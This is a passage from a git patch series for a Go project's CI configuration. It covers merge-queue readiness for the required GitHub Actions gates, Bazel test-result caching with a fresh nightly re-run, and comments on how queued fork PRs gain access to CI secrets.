failureSurvivingCacheSaveCondition(cacheMissCondition(goVetCacheRestoreID()))) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save race Go build cache", saveBuildCacheAfterFailureIf("race", "matrix.flavor == 'race'").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "matrix.flavor == 'non-race'").ifCondition) + assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) + assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go build cache (Windows cross-compile)", saveXCompileCache().ifCondition) for _, target := range []struct{ workflow, job string }{ @@ -1556,6 +1569,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { {"main.yml", "test"}, {"main.yml", "test-windows"}, {"main.yml", "windows-test-binaries-cache"}, + {"main.yml", "blacksmith-macos-go-build-cache"}, {"pr.yml", "build-artifacts"}, {"pr.yml", "pr-core-wrapper"}, {"pr.yml", "windows-test-binaries"}, @@ -2802,6 +2816,10 @@ const mainVenueBlacksmithUbuntu4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' & const mainVenueBlacksmithWindows4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" const mainBlacksmithGoBuildCacheRunsOn = "${{ 'blacksmith-4vcpu-ubuntu-2404' }}" +// main.yml's push-to-main-only Blacksmith macOS saver, on the exact label +// pr.yml's same-repo macOS legs resolve to (blacksmithMacOSLabel). +const mainBlacksmithMacOSGoBuildCacheRunsOn = "${{ '" + blacksmithMacOSLabel + "' }}" + // pr.yml's call of bazel.yml: exactly these inputs (review D1 v2 N3). An rbe // override would put every PR in local mode and ungate the embedded tier // while the gate stays self-consistent; integration: "off" would drop the @@ -3142,6 +3160,8 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "go-vet-cache": mainVenueBlacksmithUbuntu4vcpuRunsOn, "test-windows": mainVenueBlacksmithWindows4vcpuRunsOn, "blacksmith-go-build-cache": mainBlacksmithGoBuildCacheRunsOn, + // Same guard, seeding pr.yml's same-repo macOS legs. + "blacksmith-macos-go-build-cache": mainBlacksmithMacOSGoBuildCacheRunsOn, }, } // The two required gates' display names are a stable external contract From e72cd8b3153c34bd2572df43874d719722ba1a78 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 13:54:15 -0700 Subject: [PATCH 112/325] ci: merge-queue readiness for the required gates; cache test results (fresh nightly) (#7264) * ci: make the required gates merge-queue ready The default-branch ruleset requires "CI Gate / Required" and "PR Risk Gate / Required". Prepare both for a GitHub merge queue (ALLGREEN, squash), so enabling the ruleset's merge_queue rule is the only step left. - pr.yml, pr-risk.yml: merge_group pinned to types [checks_requested]. - D2: bazel-coverage covers every merge_group run (same repository, CI secrets, actor github-merge-queue[bot], bazel.yml mode remote), so the retired legacy tiers stay retired in the queue and ci-gate requires their Bazel lanes to have run remotely and passed; a missing secret or the farm switch off is red, as on a same-repo PR. - Diff bases on merge_group: the package gates diff merge_group.base_sha..head_sha (not HEAD^, which misses all but the last commit of a rebase-method entry), the .beads/issues.jsonl guard now runs on merge_group against base_sha (ci-gate no longer excuses its skip), and check-doc-flags passes BD_DOCS_DIFF_BASE so CLI-docs drift already on main cannot eject every queued PR. - Test result reuse: on a merge_group run and on attempt 2+ of a PR run, the six always-execute Bazel lanes append --config=reuse-test-results (--cache_test_results=auto), so tests whose action key is unchanged reuse the farm's recorded PASS and only what the merge changed runs. Failures are never reused, eviction retries stay 0, and each PR's first attempt, push to main and nightly still execute every test. - scripts/ci_merge_queue_test.go simulates merge_group through the shared evalGHExpr evaluator (now with true/false/null literals, hyphenated identifiers and case-insensitive ==) and the workflows' own scripts: triggers and gate names, concurrency groups, every pull_request field read, the coverage and rbe decisions, result reuse, the package-gate, .beads and doc-drift diff bases. - engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md: new "Merge Queue" section (how to queue, settings, what runs, result reuse rationale, ejection and flakes, rollback). Co-Authored-By: Claude Opus 5.5 (1M context) * ci: cache Bazel test results except nightly; queue trust and sizing Review follow-ups to the merge-queue readiness change. - Test results (S1): --nocache_test_results also stops Bazel writing results, so a PR's first run never fed the cache and the merge-queue reuse config could only hit on later reuse runs. Drop it from test:embedded, test:doltserver-proxied, test:doltserver-integration and test:sole-run (which keeps --experimental_remote_cache_eviction_retries=0), and drop test:reuse-test-results and BAZEL_REUSE_RESULTS. Results are now cached (read and write) on PRs, merge groups and pushes to main. nightly.yml passes the new fresh-test-results input, so every `bazel test` appends --config=fresh (--nocache_test_results) and the suite re-executes nightly. The docker lane keeps --nocache_test_results. Measured locally with a disk cache: a default run writes and the next reads ("(cached) PASSED"); a fresh run neither reads nor writes. - Security headers (S2): bazel.yml now states that a merge_group run executes the queued commit's workflows, so a queued fork or Dependabot PR's CI edits run with every CI secret, the pre-warm app key included (merging-level trust), and records the maintainer rule: review fork changes to .github/, .bazelrc, tools/bazel, MODULE.bazel, BUILD files and CI scripts before queueing. Same note in the topology doc. - Queue sizing (S3): recommend max_entries_to_build 3 and check_response_timeout_minutes 60 (max_entries_to_merge 5, ALLGREEN, SQUASH unchanged). - Nits: the .beads guard fails closed on a missing diff base, and its test runs under GitHub's default `bash -e`; evalGHExpr follows GitHub's loose equality (true == 'true' is false, false == '' is true, missing context keys are null) with a typed-context variant; the detect-package-gates comment notes the SQUASH/HEAD^ equivalence and path-filter scope; the doc covers re-run reuse, flake re-sampling via dispatch, stale queue runs and how to confirm reuse on the farm. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 56 ++- .github/workflows/bazel.yml | 140 ++++-- .github/workflows/nightly.yml | 4 + .github/workflows/pr-risk.yml | 42 +- .github/workflows/pr.yml | 68 ++- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 270 +++++++++-- scripts/BUILD.bazel | 1 + scripts/ci/detect-package-gates.sh | 20 +- scripts/ci_blacksmith_runner_test.go | 92 +++- scripts/ci_merge_queue_test.go | 606 ++++++++++++++++++++++++ scripts/ci_workflow_test.go | 52 +- scripts/pr_lanes_bazel_coverage_test.go | 32 +- scripts/pr_risk_bazel_coverage_test.go | 61 ++- 13 files changed, 1231 insertions(+), 213 deletions(-) create mode 100644 scripts/ci_merge_queue_test.go diff --git a/.bazelrc b/.bazelrc index 58a3caeaa..cc5f4c8c6 100644 --- a/.bazelrc +++ b/.bazelrc @@ -99,11 +99,9 @@ test:embedded --test_arg=-test.parallel=4 test:embedded --test_env=GO_TEST_WRAP_TESTV=1 test:embedded --remote_download_regex=.*/test\.xml$ # Since D2 step 1 this lane is the tier's only pre-merge run on same-repo PRs -# (pr-risk.yml's legacy jobs stand down), and the legacy jobs ran every test -# every time (-test.count=1). A cached PASS would let a stale or poisoned -# farm action-cache entry, or an unreproduced -race finding, stand in for a -# run: always execute, at farm (not runner) cost. -test:embedded --nocache_test_results +# (pr-risk.yml's legacy jobs stand down). Its results are cached like every +# lane's: an unchanged test reuses its recorded PASS, and nightly re-executes +# everything (--config=fresh below). # No whole-invocation retry on a remote cache eviction ("Lost inputs"): # Bazel would re-run every test, and a test that failed in the first # attempt but passes in the retry would report green, unlike the legacy @@ -159,9 +157,7 @@ test:doltserver-proxied --test_arg=-test.parallel=4 test:doltserver-proxied --local_test_jobs=4 test:doltserver-proxied --remote_download_regex=.*/test\.(log|xml)$ # Since D2 step 2 this lane is the tier's only pre-merge run on same-repo -# PRs: execute every time, like the jobs' -test.count=1, never replay a -# cached result. -test:doltserver-proxied --nocache_test_results +# PRs. Results are cached like every lane's (nightly: --config=fresh). # No whole-invocation retry on a remote cache eviction ("Lost inputs"): # Bazel would re-run every test, and a test that failed in the first # attempt but passes in the retry would report green, unlike the legacy @@ -196,9 +192,7 @@ test:doltserver-integration --test_arg=-test.parallel=4 test:doltserver-integration --local_test_jobs=4 test:doltserver-integration --remote_download_regex=.*/test\.(log|xml)$ # Since D2 step 2 this lane is the tier's only pre-merge run on same-repo -# PRs: execute every time, like the jobs' -test.count=1, never replay a -# cached result. -test:doltserver-integration --nocache_test_results +# PRs. Results are cached like every lane's (nightly: --config=fresh). # No whole-invocation retry on a remote cache eviction ("Lost inputs"): # Bazel would re-run every test, and a test that failed in the first # attempt but passes in the retry would report green, unlike the legacy @@ -301,19 +295,37 @@ build:js-wasm --use_target_platform_for_tests build:js-wasm --remote_download_outputs=toplevel # D2 step 3: bazel.yml's bazel-test, bazel-pure and bazel-doltserver lanes -# add this in mode remote only, where (on same-repo PRs) they are the only -# pre-merge run of pr.yml's legacy PR Core, pure-Go/js-wasm, domain+uow and -# contract corpus jobs, which ran every test every time (`go test -# -count=1`) and never retried. Like the retired PR Risk tiers' configs: -# always execute (a cached PASS would stand in for a run), and no -# whole-invocation retry after a remote cache eviction ("Lost inputs"), -# whose exit code outranks a test failure, so a test that failed in the -# first attempt and passed in the retry would report green. Local and -# cache runs (forks, Dependabot; their legacy jobs still run) keep cached -# results. -test:sole-run --nocache_test_results +# add this in the remote modes, where (on same-repo PRs and merge groups) +# they are the only pre-merge run of pr.yml's legacy PR Core, +# pure-Go/js-wasm, domain+uow and contract corpus jobs, which never retried. +# Like the retired PR Risk tiers' configs: no whole-invocation retry after +# a remote cache eviction ("Lost inputs"), whose exit code outranks a test +# failure, so a test that failed in the first attempt and passed in the +# retry would report green. test:sole-run --experimental_remote_cache_eviction_retries=0 +# Test result caching. Every lane but docker caches its test results (read +# and write; Bazel's default): a test whose action key (test binary, +# runfiles, test env, platform) is unchanged reuses the PASS the farm +# recorded for it, on a PR (any attempt), a merge group or a push to main, +# so only what a change touched runs. Why that is safe: +# - Identical key, identical test: these targets are hermetic (dolt and +# every input are runfiles). The docker lane depends on host state no +# key sees and keeps --nocache_test_results above. +# - A cached failure is never reused: Bazel treats a failed cached action +# as a miss, so whatever failed re-runs. +# - Only rbe-west's workers write the action cache (clients' writes are +# refused), so a cached PASS is a real remote execution, not a client +# upload. +# - What is given up is re-sampling a nondeterministic (-race, timing) +# test on unchanged inputs. nightly.yml passes fresh-test-results: true, +# so bazel.yml appends this config last to every `bazel test` and the +# whole suite re-executes once a night. +# - No retries: --experimental_remote_cache_eviction_retries=0 (the +# retired tiers' configs and sole-run) and no flaky attempts anywhere. +# Policy: scripts/ci_merge_queue_test.go. +test:fresh --nocache_test_results + # Read-only anonymous cache for fork PRs: rbe-west's rbe-cache endpoint serves # action-cache and CAS reads only (writes and Execute are refused by the farm) # and needs no credentials, so it is committed (scripts/bazel_policy_test.go diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 5813c62d5..b63c09304 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -9,8 +9,8 @@ # except where their D2 flag retires them: while the committed # BAZEL_RETIRES_LEGACY_EMBEDDED / BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS / # BAZEL_RETIRES_LEGACY_PR_LANES flag is "true", on a same-repo, -# non-Dependabot pull_request (whatever the mode), the bazel-coverage job -# stands down pr-risk.yml's embedded-Dolt test jobs (bazel-embedded runs +# non-Dependabot pull_request or a merge_group run (whatever the mode), the +# bazel-coverage job stands down pr-risk.yml's embedded-Dolt test jobs (bazel-embedded runs # the tier), its proxied-server and server-Dolt storage test jobs # (bazel-proxied, bazel-server-storage), or pr.yml's PR Core, # build-artifacts, pure-Go/js-wasm, domain+uow and contract corpus jobs @@ -18,6 +18,14 @@ # --config=sole-run); pr.yml's ci-gate then requires those lanes to have run # remotely and passed, so modes skip, local and cache are red there # (scripts/pr_risk_bazel_coverage_test.go, pr_lanes_bazel_coverage_test.go). +# Test results are cached (read and written) on every run but nightly's: a +# test whose action key is unchanged reuses the PASS the farm recorded for +# it, on a PR, a merge group (merge queue) or a push to main alike, and only +# what changed runs. nightly.yml passes fresh-test-results: true, so every +# `bazel test` here appends --config=fresh (BAZEL_FRESH below; +# --nocache_test_results) and re-executes every test once a night, which +# keeps sampling flaky and -race failures. A cached failure is never reused. +# Policy: scripts/ci_merge_queue_test.go. # This file has no pull_request or merge_group trigger of its own, so a PR # runs the lane once. Every lane reports its job.status as a workflow_call # output (named after the job) from an always() last step. pr.yml's ci-gate @@ -111,9 +119,18 @@ # by every later step and by locally executed Bazel actions, and a .bazelrc # edit can point the BEP or the executor anywhere. Anyone who can push a # branch here can therefore use or copy the certificate and write to the -# farm's cache. Fork PRs never get it, except those bazel-farm.yml -# authorizes (allowlisted author and sender, accepted as same-repo-level -# trust; that workflow's header lists what it adds): pull_request from a +# farm's cache. Fork PRs never get it on their own runs, except those +# bazel-farm.yml authorizes (allowlisted author and sender, accepted as +# same-repo-level trust; that workflow's header lists what it adds), and +# except once queued: a merge_group run loads every workflow file and +# script from the queue entry's commit, so a fork (or Dependabot) PR that a +# maintainer queues runs its own edits to .github/, .bazelrc, tools/bazel, +# MODULE.bazel, BUILD files and CI scripts with all CI secrets, the +# pre-warm app key included, even if the entry is later ejected. That is +# the trust of merging it (push to main would run the same code), so the +# maintainer rule is: review a fork PR's changes to those paths before +# queueing it, as before merging (engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, +# "Merge Queue"). Otherwise: pull_request from a # fork receives no secrets, bazel-farm.yml is the only pull_request_target # caller (policy-tested), and forks cannot write the runner cache. Nor do # Dependabot PRs, which run as same-repo but get no Actions secrets. Fork @@ -141,7 +158,11 @@ # runs - the only contexts that ever receive RBE_POOL_APP_PRIVATE_KEY - each # reach that shared key for the duration of the mint step alone (nothing # executes from the checked-out repository tree while it, or the token it -# produces, is in scope: see the rbe-prewarm job below). Unlike the RBE +# produces, is in scope: see the rbe-prewarm job below). That holds only for +# this file as committed: a merge_group run uses the queued commit's copy, +# so a queued fork PR that edits this job (or pr.yml) reaches the key with +# whatever it wrote. Queueing a fork PR is therefore merging-level trust; +# review its .github/ changes first (see the header above). Unlike the RBE # client certificate above, this key cannot be rotated or revoked for beads # alone without also breaking gascity's scaler; the kill switch # (RBE_POOL_APP_PRIVATE_KEY unset, or RBE_PREWARM_WORKERS=0) disables @@ -159,7 +180,8 @@ # remote cache, and local runs would need about 7 GB more. # # Workflow-file changes suppress pull_request runs under the org approval -# policy; validate edits to this file with workflow_dispatch on the branch. +# policy (merge_group runs are not suppressed: they run the queued copy); +# validate edits to this file with workflow_dispatch on the branch. name: Bazel on: @@ -184,6 +206,11 @@ on: type: choice default: "doltserver" options: [ "doltserver", "docker" ] + fresh-test-results: + description: "Re-execute every test (--config=fresh: no cached test results), as nightly does" + required: false + type: boolean + default: false workflow_call: inputs: rbe: @@ -228,6 +255,16 @@ on: type: boolean required: false default: false + # true (nightly.yml only): every `bazel test` re-executes every test + # (--config=fresh), the run that samples flaky and -race failures. + # Everyone else reuses cached results for unchanged tests. A boolean: + # null on push, so push to main reuses too. + fresh-test-results: + description: > + true (nightly.yml) re-executes every test: no cached test results. + type: boolean + required: false + default: false build-artifact-name: description: > Name of the uploaded bd artifact (ci-build-artifacts layout). pr.yml @@ -290,9 +327,12 @@ on: # request it, but no caller ever does: pr.yml and nightly.yml pass it # straight through (both are same-repo/trusted triggers only); # bazel-farm.yml's pull_request_target call does not, so no pre-warm - # credential ever reaches a fork-authored run (B1, security review of - # bdef342d5 - accepted risk is same-repo runs reaching the shared - # gascity scaler key, not forks). See + # credential reaches a fork-authored run before a maintainer queues + # it (B1, security review of bdef342d5 - accepted risk is same-repo + # runs reaching the shared gascity scaler key, not forks). Exception: + # a merge_group run executes the queued commit's workflows, so a + # queued fork PR's edits run with this key (merging-level trust; see + # the header). See # engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "rbe-west Pre-warm". RBE_POOL_APP_PRIVATE_KEY: required: false @@ -354,6 +394,11 @@ permissions: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" + # Appended last to every `bazel test` (after the lane's config and + # sole-run): --config=fresh (.bazelrc, --nocache_test_results) only when + # the caller asks for fresh results (nightly.yml, or a dispatch); empty + # otherwise, so results are cached and reused. See the header. + BAZEL_FRESH: ${{ inputs.fresh-test-results && '--config=fresh' || '' }} # Phase B report-only budget for T1/T2 (tools/bazel/critpath.py). BAZEL_BUDGET_SECONDS: "420" @@ -554,7 +599,10 @@ jobs: # above): every byte this step executes comes from this workflow # definition, which pull_request_target always loads from the base # branch and which editing suppresses pull_request runs under the - # org's approval policy (see the header). steps.mint.outputs.token + # org's approval policy (see the header). Not on merge_group: a queue + # entry runs its own commit's copy of this file with no approval + # gate, so a queued fork PR's edit here runs with the key (review + # .github/ changes before queueing). steps.mint.outputs.token # appears nowhere else in this file (policy-tested): this is the only # step with the credential in its environment, and no step after it # touches a repository path or runs a local composite action. @@ -648,13 +696,13 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} env: - # D2 step 3: on covered PRs (always mode remote) this lane is the only - # pre-merge run of pr.yml's legacy PR Core job, which ran every test - # every time and never retried: --config=sole-run then executes every - # test (no cached results) and fails on a remote cache eviction - # instead of re-running the whole invocation. Fork modes do the same - # (with BAZEL_COVERS_FORKS "true" it is their only run too). Local and - # cache runs (the legacy jobs still run) keep cached results. + # D2 step 3: on covered PRs and merge groups (always mode remote) this + # lane is the only pre-merge run of pr.yml's legacy PR Core job, which + # never retried: --config=sole-run then fails on a remote cache eviction + # instead of re-running the whole invocation (whose retry could turn a + # failed test green). Fork modes do the same (with BAZEL_COVERS_FORKS + # "true" it is their only run too). Test results are cached and reused + # like every lane's; only nightly re-executes them all (BAZEL_FRESH). BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). @@ -730,7 +778,7 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} \ + bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --profile="$RUNNER_TEMP/bazel-profile.json" \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? @@ -895,13 +943,14 @@ jobs: result: ${{ steps.result.outputs.result }} env: PURE_CMD_BD_TESTS: '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' - # D2 step 3: on covered PRs (always mode remote) this lane is the only - # pre-merge run of pr.yml's legacy pure-Go and js/wasm job, which ran every test - # every time and never retried: --config=sole-run then executes every - # test (no cached results) and fails on a remote cache eviction - # instead of re-running the whole invocation. Fork modes do the same - # (with BAZEL_COVERS_FORKS "true" it is their only run too). Local and - # cache runs (the legacy jobs still run) keep cached results. + # D2 step 3: on covered PRs and merge groups (always mode remote) this + # lane is the only pre-merge run of pr.yml's legacy pure-Go and js/wasm + # job, which never retried: --config=sole-run then fails on a remote + # cache eviction instead of re-running the whole invocation (whose retry + # could turn a failed test green). Fork modes do the same (with + # BAZEL_COVERS_FORKS "true" it is their only run too). Test results are + # cached and reused like every lane's; only nightly re-executes them all + # (BAZEL_FRESH). BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). @@ -1000,7 +1049,7 @@ jobs: run: | set -euo pipefail bazel run --config=pure //cmd/bd:bd -- version - bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} \ + bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ //internal/storage/embeddeddolt:embeddeddolt_test \ //internal/tracker:tracker_test \ --test_sharding_strategy=disabled \ @@ -1012,7 +1061,7 @@ jobs: - name: Run pure-Go cmd/bd test subset (--config=pure) run: | set -euo pipefail - bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} //cmd/bd:bd_test \ + bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} //cmd/bd:bd_test \ --test_sharding_strategy=disabled \ "--test_arg=-test.run=$PURE_CMD_BD_TESTS" n="$(grep -c '&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" @@ -1273,7 +1322,7 @@ jobs: if [[ -n "$EXCLUDE_TARGETS" ]]; then echo "bazel-cmd-dolt is required: excluding $EXCLUDE_TARGETS (it runs there)" | tee -a "$GITHUB_STEP_SUMMARY" fi - bazel test //... --config=integration \ + bazel test //... --config=integration ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? @@ -1328,13 +1377,14 @@ jobs: result: ${{ steps.result.outputs.result }} env: BAZEL_DOLT_LANE: ${{ inputs.dolt-lane || 'doltserver' }} - # D2 step 3: on covered PRs (always mode remote) this lane is the only - # pre-merge run of pr.yml's legacy domain+uow and contract corpus jobs, which ran every test - # every time and never retried: --config=sole-run then executes every - # test (no cached results) and fails on a remote cache eviction - # instead of re-running the whole invocation. Fork modes do the same - # (with BAZEL_COVERS_FORKS "true" it is their only run too). Local and - # cache runs (the legacy jobs still run) keep cached results. + # D2 step 3: on covered PRs and merge groups (always mode remote) this + # lane is the only pre-merge run of pr.yml's legacy domain+uow and + # contract corpus jobs, which never retried: --config=sole-run then + # fails on a remote cache eviction instead of re-running the whole + # invocation (whose retry could turn a failed test green). Fork modes do + # the same (with BAZEL_COVERS_FORKS "true" it is their only run too). + # Test results are cached and reused like every lane's; only nightly + # re-executes them all (BAZEL_FRESH). BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). @@ -1373,7 +1423,7 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... "--config=$BAZEL_DOLT_LANE" ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + bazel test //... "--config=$BAZEL_DOLT_LANE" ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1499,7 +1549,7 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... --config=doltserver-proxied \ + bazel test //... --config=doltserver-proxied ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver-proxied: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" @@ -1610,7 +1660,7 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... --config=doltserver-integration \ + bazel test //... --config=doltserver-integration ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver-integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" @@ -1722,7 +1772,7 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... --config=doltserver-cmd \ + bazel test //... --config=doltserver-cmd ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver-cmd: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" @@ -1790,8 +1840,8 @@ jobs: - name: Decide applicability id: detect env: - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} + PR_BASE_SHA: ${{ github.event.pull_request.base.sha || github.event.merge_group.base_sha }} + PR_HEAD_SHA: ${{ github.event.pull_request.head.sha || github.event.merge_group.head_sha }} PUSH_BEFORE_SHA: ${{ github.event.before }} PUSH_AFTER_SHA: ${{ github.sha }} run: ./scripts/ci/detect-package-gates.sh @@ -1909,8 +1959,8 @@ jobs: - name: Decide applicability id: detect env: - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} + PR_BASE_SHA: ${{ github.event.pull_request.base.sha || github.event.merge_group.base_sha }} + PR_HEAD_SHA: ${{ github.event.pull_request.head.sha || github.event.merge_group.head_sha }} PUSH_BEFORE_SHA: ${{ github.event.before }} PUSH_AFTER_SHA: ${{ github.sha }} run: ./scripts/ci/detect-package-gates.sh diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 961d4550c..8bca8b8da 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -115,6 +115,10 @@ jobs: with: details: true go-test-json-artifact: bazel-equivalence-go-test-json + # The one run that re-executes every test (no cached test results): + # PRs, merge groups and pushes to main reuse unchanged tests' PASSes, + # so this keeps sampling flaky and -race failures every night. + fresh-test-results: true full-test: name: Full Test Suite diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index fcfa882b8..516e8508a 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -3,7 +3,15 @@ name: PR Risk on: pull_request: branches: [ main, 'release/**', 'hotfix/**' ] + # Merge queue (engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Merge Queue"): + # the ruleset's required gate must also report on each queue entry's + # merge-group commit, or a queued PR waits until the queue times it out. + # checks_requested is the queue asking for those checks; pinned + # explicitly (scripts/ci_merge_queue_test.go). The concurrency group + # below keys a merge group on its own gh-readonly-queue/* ref, so queue + # runs never cancel each other or a PR's own runs. merge_group: + types: [ checks_requested ] concurrency: group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} @@ -13,7 +21,7 @@ env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" # D2: "true" retires a PR Risk legacy tier on same-repo, non-Dependabot - # pull_requests; pr.yml's gated Bazel lane(s) for it are then the tier's + # pull_requests and on merge groups (merge queue); pr.yml's gated Bazel lane(s) for it are then the tier's # only pre-merge run, and pr.yml's gate goes red unless they ran remotely # and passed. Committed, not repo variables, so a re-run can never change # them; each must equal pr.yml's / pr-risk.yml's copy @@ -94,13 +102,15 @@ jobs: # test-server-storage* jobs; Bazel `proxied-server tier` and `server-Dolt # storage tier`), plus `pr_lanes`, which only pr.yml reads (its own PR # Core, build-artifacts, pure-Go, domain+uow and contract corpus jobs). - # Each is true only with its committed BAZEL_RETIRES_LEGACY_* flag, on a same-repo (not fork) pull_request whose actor is not - # Dependabot. pr.yml runs this same job (policy-tested identical) and its - # gate goes red unless the lanes then ran remotely and passed, so neither - # the kill switch (mode skip) nor a missing executor secret (mode cache) - # can silently drop a tier. Forks and Dependabot (no secrets), merge_group - # and every other event keep the legacy tiers. The step reads no secret or - # variable and runs no repository code. + # Each is true only with its committed BAZEL_RETIRES_LEGACY_* flag, on a + # same-repo (not fork) pull_request whose actor is not Dependabot, or on a + # merge_group (merge queue) run. pr.yml runs this same job (policy-tested + # identical) and its gate goes red unless the lanes then ran remotely and + # passed, so neither the kill switch (mode skip) nor a missing executor + # secret (mode cache) can silently drop a tier. Forks and Dependabot (no + # secrets; unless BAZEL_COVERS_FORKS) and every other event keep the + # legacy tiers. The step reads no secret or variable and runs no + # repository code. bazel-coverage: name: Bazel tier coverage # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, @@ -135,10 +145,11 @@ jobs: RETIRED_PR_LANES: ${{ env.BAZEL_RETIRES_LEGACY_PR_LANES == 'true' }} COVERS_FORKS: ${{ env.BAZEL_COVERS_FORKS == 'true' }} PULL_REQUEST: ${{ github.event_name == 'pull_request' }} + MERGE_GROUP: ${{ github.event_name == 'merge_group' }} 